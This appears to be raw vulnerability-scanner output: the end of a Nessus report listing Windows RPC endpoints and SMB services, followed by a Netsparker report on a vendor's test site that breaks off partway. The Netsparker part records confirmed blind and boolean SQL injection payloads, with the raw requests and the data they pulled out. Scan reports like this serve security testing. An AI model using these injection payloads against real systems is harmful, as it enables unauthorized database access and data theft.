13522 Object UUID : 00000000-0000-0000-0000-000000000000
13523 UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
13524 Description : Unknown RPC service
13525 Annotation : Spooler function endpoint
13526 Type : Local RPC service
13527 Named pipe : spoolss
13528
13529 Object UUID : 00000000-0000-0000-0000-000000000000
13530 UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
13531 Description : Unknown RPC service
13532 Annotation : Spooler base remote object endpoint
13533 Type : Local RPC service
13534 Named pipe : spoolss
13535
13536 Object UUID : 00000000-0000-0000-0000-000000000000
13537 UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
13538 Description : Unknown RPC service
13539 Annotation : Spooler function endpoint
13540 Type : Local RPC service
13541 Named pipe : spoolss
13542
13543 Object UUID : 00000000-0000-0000-0000-000000000000
13544 UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
13545 Description : Unknown RPC service
13546 Annotation : Base Firewall Engine API
13547 Type : Local RPC service
13548 Named pipe : LRPC-163d12dace17bd218f
13549
13550 Object UUID : 00000000-0000-0000-0000-000000000000
13551 UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
13552 Description : Unknown RPC service
13553 Annotation : Fw APIs
13554 Type : Local RPC service
13555 Named pipe : LRPC-163d12dace17bd218f
13556
13557 Object UUID : 00000000-0000-0000-0000-000000000000
13558 UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
13559 Description : Unknown RPC service
13560 Annotation : Fw APIs
13561 Type : Local RPC service
13562 Named pipe : LRPC-163d12dace17bd218f
13563
13564 Object UUID : 00000000-0000-0000-0000-000000000000
13565 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
13566 Description : Unknown RPC service
13567 Annotation : NSI server endpoint
13568 Type : Local RPC service
13569 Named pipe : OLE17584212A1D44C5494A3A1EF3393
13570
13571 Object UUID : 00000000-0000-0000-0000-000000000000
13572 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
13573 Description : Unknown RPC service
13574 Annotation : NSI server endpoint
13575 Type : Local RPC service
13576 Named pipe : LRPC-6fbcdbc93ad48fa988
13577
13578 Object UUID : 00000000-0000-0000-0000-000000000000
13579 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
13580 Description : Unknown RPC service
13581 Annotation : WinHttp Auto-Proxy Service
13582 Type : Local RPC service
13583 Named pipe : OLE17584212A1D44C5494A3A1EF3393
13584
13585 Object UUID : 00000000-0000-0000-0000-000000000000
13586 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
13587 Description : Unknown RPC service
13588 Annotation : WinHttp Auto-Proxy Service
13589 Type : Local RPC service
13590 Named pipe : LRPC-6fbcdbc93ad48fa988
13591
13592 Object UUID : 00000000-0000-0000-0000-000000000000
13593 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
13594 Description : Unknown RPC service
13595 Annotation : WinHttp Auto-Proxy Service
13596 Type : Local RPC service
13597 Named pipe : W32TIME_ALT
13598
13599 Object UUID : 666f7270-6c69-7365-0000-000000000000
13600 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13601 Description : Unknown RPC service
13602 Annotation : Impl friendly name
13603 Type : Local RPC service
13604 Named pipe : IUserProfile2
13605
13606 Object UUID : 6c637067-6569-746e-0000-000000000000
13607 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13608 Description : Unknown RPC service
13609 Annotation : Impl friendly name
13610 Type : Local RPC service
13611 Named pipe : IUserProfile2
13612
13613 Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
13614 UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
13615 Description : Unknown RPC service
13616 Type : Local RPC service
13617 Named pipe : IUserProfile2
13618
13619 Object UUID : 736e6573-0000-0000-0000-000000000000
13620 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13621 Description : Unknown RPC service
13622 Annotation : Impl friendly name
13623 Type : Local RPC service
13624 Named pipe : IUserProfile2
13625
13626 Object UUID : 736e6573-0000-0000-0000-000000000000
13627 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13628 Description : Unknown RPC service
13629 Annotation : Impl friendly name
13630 Type : Local RPC service
13631 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13632
13633 Object UUID : 736e6573-0000-0000-0000-000000000000
13634 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13635 Description : Unknown RPC service
13636 Annotation : Impl friendly name
13637 Type : Local RPC service
13638 Named pipe : senssvc
13639
13640 Object UUID : 00000000-0000-0000-0000-000000000000
13641 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
13642 Description : Scheduler Service
13643 Windows process : svchost.exe
13644 Type : Local RPC service
13645 Named pipe : IUserProfile2
13646
13647 Object UUID : 00000000-0000-0000-0000-000000000000
13648 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
13649 Description : Scheduler Service
13650 Windows process : svchost.exe
13651 Type : Local RPC service
13652 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13653
13654 Object UUID : 00000000-0000-0000-0000-000000000000
13655 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
13656 Description : Scheduler Service
13657 Windows process : svchost.exe
13658 Type : Local RPC service
13659 Named pipe : senssvc
13660
13661 Object UUID : 00000000-0000-0000-0000-000000000000
13662 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
13663 Description : Scheduler Service
13664 Windows process : svchost.exe
13665 Type : Local RPC service
13666 Named pipe : IUserProfile2
13667
13668 Object UUID : 00000000-0000-0000-0000-000000000000
13669 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
13670 Description : Scheduler Service
13671 Windows process : svchost.exe
13672 Type : Local RPC service
13673 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13674
13675 Object UUID : 00000000-0000-0000-0000-000000000000
13676 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
13677 Description : Scheduler Service
13678 Windows process : svchost.exe
13679 Type : Local RPC service
13680 Named pipe : senssvc
13681
13682 Object UUID : 00000000-0000-0000-0000-000000000000
13683 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
13684 Description : Scheduler Service
13685 Windows process : svchost.exe
13686 Type : Local RPC service
13687 Named pipe : IUserProfile2
13688
13689 Object UUID : 00000000-0000-0000-0000-000000000000
13690 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
13691 Description : Scheduler Service
13692 Windows process : svchost.exe
13693 Type : Local RPC service
13694 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13695
13696 Object UUID : 00000000-0000-0000-0000-000000000000
13697 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
13698 Description : Scheduler Service
13699 Windows process : svchost.exe
13700 Type : Local RPC service
13701 Named pipe : senssvc
13702
13703 Object UUID : 00000000-0000-0000-0000-000000000000
13704 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
13705 Description : Unknown RPC service
13706 Type : Local RPC service
13707 Named pipe : IUserProfile2
13708
13709 Object UUID : 00000000-0000-0000-0000-000000000000
13710 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
13711 Description : Unknown RPC service
13712 Type : Local RPC service
13713 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13714
13715 Object UUID : 00000000-0000-0000-0000-000000000000
13716 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
13717 Description : Unknown RPC service
13718 Type : Local RPC service
13719 Named pipe : senssvc
13720
13721 Object UUID : 00000000-0000-0000-0000-000000000000
13722 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
13723 Description : Unknown RPC service
13724 Annotation : IKE/Authip API
13725 Type : Local RPC service
13726 Named pipe : IUserProfile2
13727
13728 Object UUID : 00000000-0000-0000-0000-000000000000
13729 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
13730 Description : Unknown RPC service
13731 Annotation : IKE/Authip API
13732 Type : Local RPC service
13733 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13734
13735 Object UUID : 00000000-0000-0000-0000-000000000000
13736 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
13737 Description : Unknown RPC service
13738 Annotation : IKE/Authip API
13739 Type : Local RPC service
13740 Named pipe : senssvc
13741
13742 Object UUID : 00000000-0000-0000-0000-000000000000
13743 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
13744 Description : Unknown RPC service
13745 Annotation : IP Transition Configuration endpoint
13746 Type : Local RPC service
13747 Named pipe : IUserProfile2
13748
13749 Object UUID : 00000000-0000-0000-0000-000000000000
13750 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
13751 Description : Unknown RPC service
13752 Annotation : IP Transition Configuration endpoint
13753 Type : Local RPC service
13754 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13755
13756 Object UUID : 00000000-0000-0000-0000-000000000000
13757 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
13758 Description : Unknown RPC service
13759 Annotation : IP Transition Configuration endpoint
13760 Type : Local RPC service
13761 Named pipe : senssvc
13762
13763 Object UUID : 00000000-0000-0000-0000-000000000000
13764 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
13765 Description : Unknown RPC service
13766 Annotation : XactSrv service
13767 Type : Local RPC service
13768 Named pipe : IUserProfile2
13769
13770 Object UUID : 00000000-0000-0000-0000-000000000000
13771 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
13772 Description : Unknown RPC service
13773 Annotation : XactSrv service
13774 Type : Local RPC service
13775 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13776
13777 Object UUID : 00000000-0000-0000-0000-000000000000
13778 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
13779 Description : Unknown RPC service
13780 Annotation : XactSrv service
13781 Type : Local RPC service
13782 Named pipe : senssvc
13783
13784 Object UUID : 73736573-6f69-656e-6e76-000000000000
13785 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13786 Description : Unknown RPC service
13787 Annotation : Impl friendly name
13788 Type : Local RPC service
13789 Named pipe : IUserProfile2
13790
13791 Object UUID : 73736573-6f69-656e-6e76-000000000000
13792 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13793 Description : Unknown RPC service
13794 Annotation : Impl friendly name
13795 Type : Local RPC service
13796 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13797
13798 Object UUID : 73736573-6f69-656e-6e76-000000000000
13799 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
13800 Description : Unknown RPC service
13801 Annotation : Impl friendly name
13802 Type : Local RPC service
13803 Named pipe : senssvc
13804
13805 Object UUID : 00000000-0000-0000-0000-000000000000
13806 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
13807 Description : Unknown RPC service
13808 Type : Local RPC service
13809 Named pipe : IUserProfile2
13810
13811 Object UUID : 00000000-0000-0000-0000-000000000000
13812 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
13813 Description : Unknown RPC service
13814 Type : Local RPC service
13815 Named pipe : OLE6E49FAF9983E446E92AE98F45316
13816
13817 Object UUID : 00000000-0000-0000-0000-000000000000
13818 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
13819 Description : Unknown RPC service
13820 Type : Local RPC service
13821 Named pipe : senssvc
13822
13823 Object UUID : 00000000-0000-0000-0000-000000000000
13824 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
13825 Description : Unknown RPC service
13826 Annotation : Event log TCPIP
13827 Type : Local RPC service
13828 Named pipe : eventlog
13829
13830 Object UUID : 00000000-0000-0000-0000-000000000000
13831 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
13832 Description : Unknown RPC service
13833 Annotation : NRP server endpoint
13834 Type : Local RPC service
13835 Named pipe : eventlog
13836
13837 Object UUID : 00000000-0000-0000-0000-000000000000
13838 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
13839 Description : Unknown RPC service
13840 Annotation : DHCPv6 Client LRPC Endpoint
13841 Type : Local RPC service
13842 Named pipe : eventlog
13843
13844 Object UUID : 00000000-0000-0000-0000-000000000000
13845 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
13846 Description : Unknown RPC service
13847 Annotation : DHCPv6 Client LRPC Endpoint
13848 Type : Local RPC service
13849 Named pipe : dhcpcsvc6
13850
13851 Object UUID : 00000000-0000-0000-0000-000000000000
13852 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
13853 Description : DHCP Client Service
13854 Windows process : svchost.exe
13855 Annotation : DHCP Client LRPC Endpoint
13856 Type : Local RPC service
13857 Named pipe : eventlog
13858
13859 </plugin_output>
13860 </ReportItem>
13861 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
13862 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
13863 <fname>cifs445.nasl</fname>
13864 <plugin_modification_date>2012/01/31</plugin_modification_date>
13865 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
13866 <plugin_publication_date>2002/06/05</plugin_publication_date>
13867 <plugin_type>remote</plugin_type>
13868 <risk_factor>None</risk_factor>
13869 <script_version>$Revision: 1.37 $</script_version>
13870 <solution>n/a</solution>
13871 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
13872 <plugin_output>
13873 An SMB server is running on this port.
13874 </plugin_output>
13875 </ReportItem>
13876 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
13877 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
13878 <fname>cifs445.nasl</fname>
13879 <plugin_modification_date>2012/01/31</plugin_modification_date>
13880 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
13881 <plugin_publication_date>2002/06/05</plugin_publication_date>
13882 <plugin_type>remote</plugin_type>
13883 <risk_factor>None</risk_factor>
13884 <script_version>$Revision: 1.37 $</script_version>
13885 <solution>n/a</solution>
13886 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
13887 <plugin_output>
13888 A CIFS server is running on this port.
13889 </plugin_output>
13890 </ReportItem>
13891 </ReportHost>
13892 </Report>
13893 </NessusClientData_v2>
0 <?xml version="1.0" encoding="utf-8" ?>
1 <?xml-stylesheet href="vulnerabilities-list.xsl" type="text/xsl" ?>
2 <netsparker generated="29/11/2013 9:36:42 AM">
3 <target>
4 <url>http://php.testsparker.com/</url>
5 <scantime>385</scantime>
6 </target>
7 <vulnerability confirmed="True">
8 <url>http://php.testsparker.com/artist.php?id=(SELECT+1+FROM+(SELECT+SLEEP(25))A)</url>
9 <type>ConfirmedBlindSqlInjection</type>
10 <severity>Critical</severity>
11 <certainty>100</certainty>
12
13 <vulnerableparametertype>GET</vulnerableparametertype>
14 <vulnerableparameter>id</vulnerableparameter>
15 <vulnerableparametervalue>(SELECT 1 FROM (SELECT SLEEP(25))A)</vulnerableparametervalue>
16 <rawrequest><![CDATA[GET /artist.php?id=(SELECT+1+FROM+(SELECT+SLEEP(25))A) HTTP/1.1
17 Cache-Control: no-cache
18 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
19 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
20 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
21 X-Scanner: Netsparker
22 Accept-Language: en-us,en;q=0.5
23 Host: php.testsparker.com
24 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
25 Accept-Encoding: gzip, deflate
26
27 ]]></rawrequest>
28 <rawresponse><![CDATA[HTTP/1.1 200 OK
29 Date: Fri, 29 Nov 2013 11:27:17 GMT
30 Server: Apache/2.2.8 (Win32) PHP/5.2.6
31 X-Powered-By: PHP/5.2.6
32 Content-Length: 2794
33 Content-Type: text/html
34
35
36 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
37 <html xmlns="http://www.w3.org/1999/xhtml">
38 <head>
39 <meta name="keywords" content="" />
40 <meta name="description" content="" />
41 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
42 <title>Netsparker Test Web Site - PHP</title>
43 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
44 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
45 <body>
46 <div id="wrapper">
47
48 <div id="menu">
49 <ul>
50 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
51 <li><a href="hello.php?name=Visitor">Hello</a></li>
52 <li><a href="products.php?pro=url">Products</a></li>
53 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
54 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
55 <li><a href="auth/">Login</a></li>
56 </ul>
57 </div>
58 <!-- end #menu -->
59 <div id="header">
60
61 </div>
62 <!-- end #header --> <div id="page">
63 <div id="page-bgtop">
64 <div id="page-bgbtm">
65 <div id="content">
66 <div class="post">
67 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
68
69 <div style="clear: both;">&nbsp;</div>
70 <div class="entry">
71 <p>
72
73
74
75 no rows returned
76 </p>
77
78 </div>
79 </div>
80 <div style="clear: both;">&nbsp;</div>
81 </div>
82 <!-- end #content -->
83
84 <div id="sidebar">
85 <ul>
86 <li>
87 <div id="search" >
88 <form method="get" action="artist.php">
89 <div>
90 <input type="text" name="s" id="search-text" value="" />
91 <input type="submit" id="search-submit" value="GO" />
92 </div>
93 </form>
94
95 </div>
96 <div style="clear: both;">&nbsp;</div>
97 </li>
98 <li>
99 <h2>Tags</h2>
100 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
101 </li>
102 <li>
103 <h2>Inner Pages</h2>
104 <ul>
105 <li><a href="artist.php?id=test">Artist Search</a></li>
106 <li><a href="nslookup.php">Lookup Service</a></li>
107 </ul>
108 </li>
109 <li>
110 <h2>Links</h2>
111 <ul>
112 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
113 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
114 </ul>
115 </li>
116 </ul>
117 </div> <!-- end #sidebar -->
118 <div style="clear: both;">&nbsp;</div>
119 </div>
120 </div>
121 </div>
122 <!-- end #page -->
123 </div>
124
125 <div id="footer">
126 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
127 </div> <!-- end #footer -->
128 </body>
129 </html>
130 ]]></rawresponse>
131 <extrainformation>
132 </extrainformation>
133
134 <classification>
135 <OWASP>A1</OWASP>
136 <WASC>19</WASC>
137 <CWE>89</CWE>
138 <CAPEC>66</CAPEC>
139 <PCI>6.5.2</PCI>
140 <PCI2>6.5.1</PCI2>
141 </classification>
142
143 </vulnerability>
144 <vulnerability confirmed="True">
145 <url>http://php.testsparker.com/artist.php?id=-1+OR+17-7%3d10</url>
146 <type>ConfirmedBooleanSqlInjection</type>
147 <severity>Critical</severity>
148 <certainty>100</certainty>
149
150 <vulnerableparametertype>GET</vulnerableparametertype>
151 <vulnerableparameter>id</vulnerableparameter>
152 <vulnerableparametervalue>-1 OR 17-7=10</vulnerableparametervalue>
153 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+17-7%3d10 HTTP/1.1
154 Cache-Control: no-cache
155 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
156 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
157 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
158 X-Scanner: Netsparker
159 Accept-Language: en-us,en;q=0.5
160 Host: php.testsparker.com
161 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
162 Accept-Encoding: gzip, deflate
163
164 ]]></rawrequest>
165 <rawresponse><![CDATA[HTTP/1.1 200 OK
166 Date: Fri, 29 Nov 2013 11:27:11 GMT
167 Transfer-Encoding: chunked
168 Server: Apache/2.2.8 (Win32) PHP/5.2.6
169 X-Powered-By: PHP/5.2.6
170 Content-Type: text/html
171
172
173 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
174 <html xmlns="http://www.w3.org/1999/xhtml">
175 <head>
176 <meta name="keywords" content="" />
177 <meta name="description" content="" />
178 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
179 <title>Netsparker Test Web Site - PHP</title>
180 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
181 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
182 <body>
183 <div id="wrapper">
184
185 <div id="menu">
186 <ul>
187 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
188 <li><a href="hello.php?name=Visitor">Hello</a></li>
189 <li><a href="products.php?pro=url">Products</a></li>
190 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
191 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
192 <li><a href="auth/">Login</a></li>
193 </ul>
194 </div>
195 <!-- end #menu -->
196 <div id="header">
197
198 </div>
199 <!-- end #header --> <div id="page">
200 <div id="page-bgtop">
201 <div id="page-bgbtm">
202 <div id="content">
203 <div class="post">
204 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
205
206 <div style="clear: both;">&nbsp;</div>
207 <div class="entry">
208 <p>
209
210
211
212 <table class="container"><thead><th>ID</th><th>Name</th><th>SURNAME</th><th>CREATION DATE </th></thead><tbody><tr class="odd">
213 <td>2 </td>
214 <td>NICK </td>
215 <td>WAHLBERG </td>
216 <td>2006-02-15 04:34:33 </td>
217 <td> </td>
218 </tr>
219 <tr class="even">
220 <td>3 </td>
221 <td>ED </td>
222 <td>CHASE </td>
223 <td>2006-02-15 04:34:33 </td>
224 <td> </td>
225 </tr>
226 <tr class="odd">
227 <td>4 </td>
228 <td>JENNIFER </td>
229 <td>DAVIS </td>
230 <td>2006-02-15 04:34:33 </td>
231 <td> </td>
232 </tr>
233 <tr class="even">
234 <td>5 </td>
235 <td>JOHNNY </td>
236 <td>LOLLOBRIGIDA </td>
237 <td>2006-02-15 04:34:33 </td>
238 <td> </td>
239 </tr>
240 <tr class="odd">
241 <td>6 </td>
242 <td>BETTE </td>
243 <td>NICHOLSON </td>
244 <td>2006-02-15 04:34:33 </td>
245 <td> </td>
246 </tr>
247 <tr class="even">
248 <td>7 </td>
249 <td>GRACE </td>
250 <td>MOSTEL </td>
251 <td>2006-02-15 04:34:33 </td>
252 <td> </td>
253 </tr>
254 <tr class="odd">
255 <td>8 </td>
256 <td>MATTHEW </td>
257 <td>JOHANSSON </td>
258 <td>2006-02-15 04:34:33 </td>
259 <td> </td>
260 </tr>
261 <tr class="even">
262 <td>9 </td>
263 <td>JOE </td>
264 <td>SWANK </td>
265 <td>2006-02-15 04:34:33 </td>
266 <td> </td>
267 </tr>
268 <tr class="odd">
269 <td>10 </td>
270 <td>CHRISTIAN </td>
271 <td>GABLE </td>
272 <td>2006-02-15 04:34:33 </td>
273 <td> </td>
274 </tr>
275 <tr class="even">
276 <td>11 </td>
277 <td>ZERO </td>
278 <td>CAGE </td>
279 <td>2006-02-15 04:34:33 </td>
280 <td> </td>
281 </tr>
282 <tr class="odd">
283 <td>12 </td>
284 <td>KARL </td>
285 <td>BERRY </td>
286 <td>2006-02-15 04:34:33 </td>
287 <td> </td>
288 </tr>
289 <tr class="even">
290 <td>13 </td>
291 <td>UMA </td>
292 <td>WOOD </td>
293 <td>2006-02-15 04:34:33 </td>
294 <td> </td>
295 </tr>
296 <tr class="odd">
297 <td>14 </td>
298 <td>VIVIEN </td>
299 <td>BERGEN </td>
300 <td>2006-02-15 04:34:33 </td>
301 <td> </td>
302 </tr>
303 <tr class="even">
304 <td>15 </td>
305 <td>CUBA </td>
306 <td>OLIVIER </td>
307 <td>2006-02-15 04:34:33 </td>
308 <td> </td>
309 </tr>
310 <tr class="odd">
311 <td>16 </td>
312 <td>FRED </td>
313 <td>COSTNER </td>
314 <td>2012-03-13 12:14:54 </td>
315 <td>22 </td>
316 </tr>
317 <tr class="even">
318 <td>17 </td>
319 <td>HELEN </td>
320 <td>VOIGHT </td>
321 <td>2012-03-13 12:14:54 </td>
322 <td>22 </td>
323 </tr>
324 <tr class="odd">
325 <td>18 </td>
326 <td>DAN </td>
327 <td>TORN </td>
328 <td>2012-03-13 12:14:54 </td>
329 <td>22 </td>
330 </tr>
331 <tr class="even">
332 <td>19 </td>
333 <td>BOB </td>
334 <td>FAWCETT </td>
335 <td>2012-03-13 12:14:54 </td>
336 <td>22 </td>
337 </tr>
338 <tr class="odd">
339 <td>20 </td>
340 <td>LUCILLE </td>
341 <td>TRACY </td>
342 <td>2012-03-13 12:14:54 </td>
343 <td>22 </td>
344 </tr>
345 <tr class="even">
346 <td>21 </td>
347 <td>KIRSTEN </td>
348 <td>PALTROW </td>
349 <td>2012-03-13 12:14:54 </td>
350 <td>22 </td>
351 </tr>
352 <tr class="odd">
353 <td>22 </td>
354 <td>ELVIS </td>
355 <td>MARX </td>
356 <td>2012-03-13 12:14:54 </td>
357 <td>22 </td>
358 </tr>
359 <tr class="even">
360 <td>23 </td>
361 <td>SANDRA </td>
362 <td>KILMER </td>
363 <td>2012-03-13 12:14:54 </td>
364 <td>22 </td>
365 </tr>
366 <tr class="odd">
367 <td>24 </td>
368 <td>CAMERON </td>
369 <td>STREEP </td>
370 <td>2012-03-13 12:14:54 </td>
371 <td>22 </td>
372 </tr>
373 <tr class="even">
374 <td>25 </td>
375 <td>KEVIN </td>
376 <td>BLOOM </td>
377 <td>2012-03-13 12:14:54 </td>
378 <td>22 </td>
379 </tr>
380 <tr class="odd">
381 <td>26 </td>
382 <td>RIP </td>
383 <td>CRAWFORD </td>
384 <td>2012-03-13 12:14:54 </td>
385 <td>22 </td>
386 </tr>
387 <tr class="even">
388 <td>27 </td>
389 <td>JULIA </td>
390 <td>MCQUEEN </td>
391 <td>2012-03-13 12:14:54 </td>
392 <td>22 </td>
393 </tr>
394 <tr class="odd">
395 <td>28 </td>
396 <td>WOODY </td>
397 <td>HOFFMAN </td>
398 <td>2012-03-13 12:14:54 </td>
399 <td>22 </td>
400 </tr>
401 <tr class="even">
402 <td>29 </td>
403 <td>ALEC </td>
404 <td>WAYNE </td>
405 <td>2012-03-13 12:14:54 </td>
406 <td>22 </td>
407 </tr>
408 <tr class="odd">
409 <td>30 </td>
410 <td>SANDRA </td>
411 <td>PECK </td>
412 <td>2012-03-13 12:14:54 </td>
413 <td>22 </td>
414 </tr>
415 <tr class="even">
416 <td>31 </td>
417 <td>SISSY </td>
418 <td>SOBIESKI </td>
419 <td>2012-03-13 12:14:54 </td>
420 <td>22 </td>
421 </tr>
422 <tr class="odd">
423 <td>32 </td>
424 <td>TIM </td>
425 <td>HACKMAN </td>
426 <td>2012-03-13 12:14:54 </td>
427 <td>22 </td>
428 </tr>
429 <tr class="even">
430 <td>33 </td>
431 <td>MILLA </td>
432 <td>PECK </td>
433 <td>2012-03-13 12:14:54 </td>
434 <td>22 </td>
435 </tr>
436 <tr class="odd">
437 <td>34 </td>
438 <td>AUDREY </td>
439 <td>OLIVIER </td>
440 <td>2012-03-13 12:14:54 </td>
441 <td>22 </td>
442 </tr>
443 <tr class="even">
444 <td>35 </td>
445 <td>JUDY </td>
446 <td>DEAN </td>
447 <td>2012-03-13 12:14:54 </td>
448 <td>22 </td>
449 </tr>
450 <tr class="odd">
451 <td>36 </td>
452 <td>BURT </td>
453 <td>DUKAKIS </td>
454 <td>2012-03-13 12:14:54 </td>
455 <td>22 </td>
456 </tr>
457 <tr class="even">
458 <td>37 </td>
459 <td>VAL </td>
460 <td>BOLGER </td>
461 <td>2012-03-13 12:14:54 </td>
462 <td>22 </td>
463 </tr>
464 <tr class="odd">
465 <td>38 </td>
466 <td>TOM </td>
467 <td>MCKELLEN </td>
468 <td>2012-03-13 12:14:54 </td>
469 <td>22 </td>
470 </tr>
471 <tr class="even">
472 <td>39 </td>
473 <td>GOLDIE </td>
474 <td>BRODY </td>
475 <td>2012-03-13 12:14:54 </td>
476 <td>22 </td>
477 </tr>
478 <tr class="odd">
479 <td>40 </td>
480 <td>JOHNNY </td>
481 <td>CAGE </td>
482 <td>2012-03-13 12:14:54 </td>
483 <td>22 </td>
484 </tr>
485 <tr class="even">
486 <td>41 </td>
487 <td>JODIE </td>
488 <td>DEGENERES </td>
489 <td>2012-03-13 12:14:54 </td>
490 <td>22 </td>
491 </tr>
492 <tr class="odd">
493 <td>42 </td>
494 <td>TOM </td>
495 <td>MIRANDA </td>
496 <td>2012-03-13 12:14:54 </td>
497 <td>22 </td>
498 </tr>
499 <tr class="even">
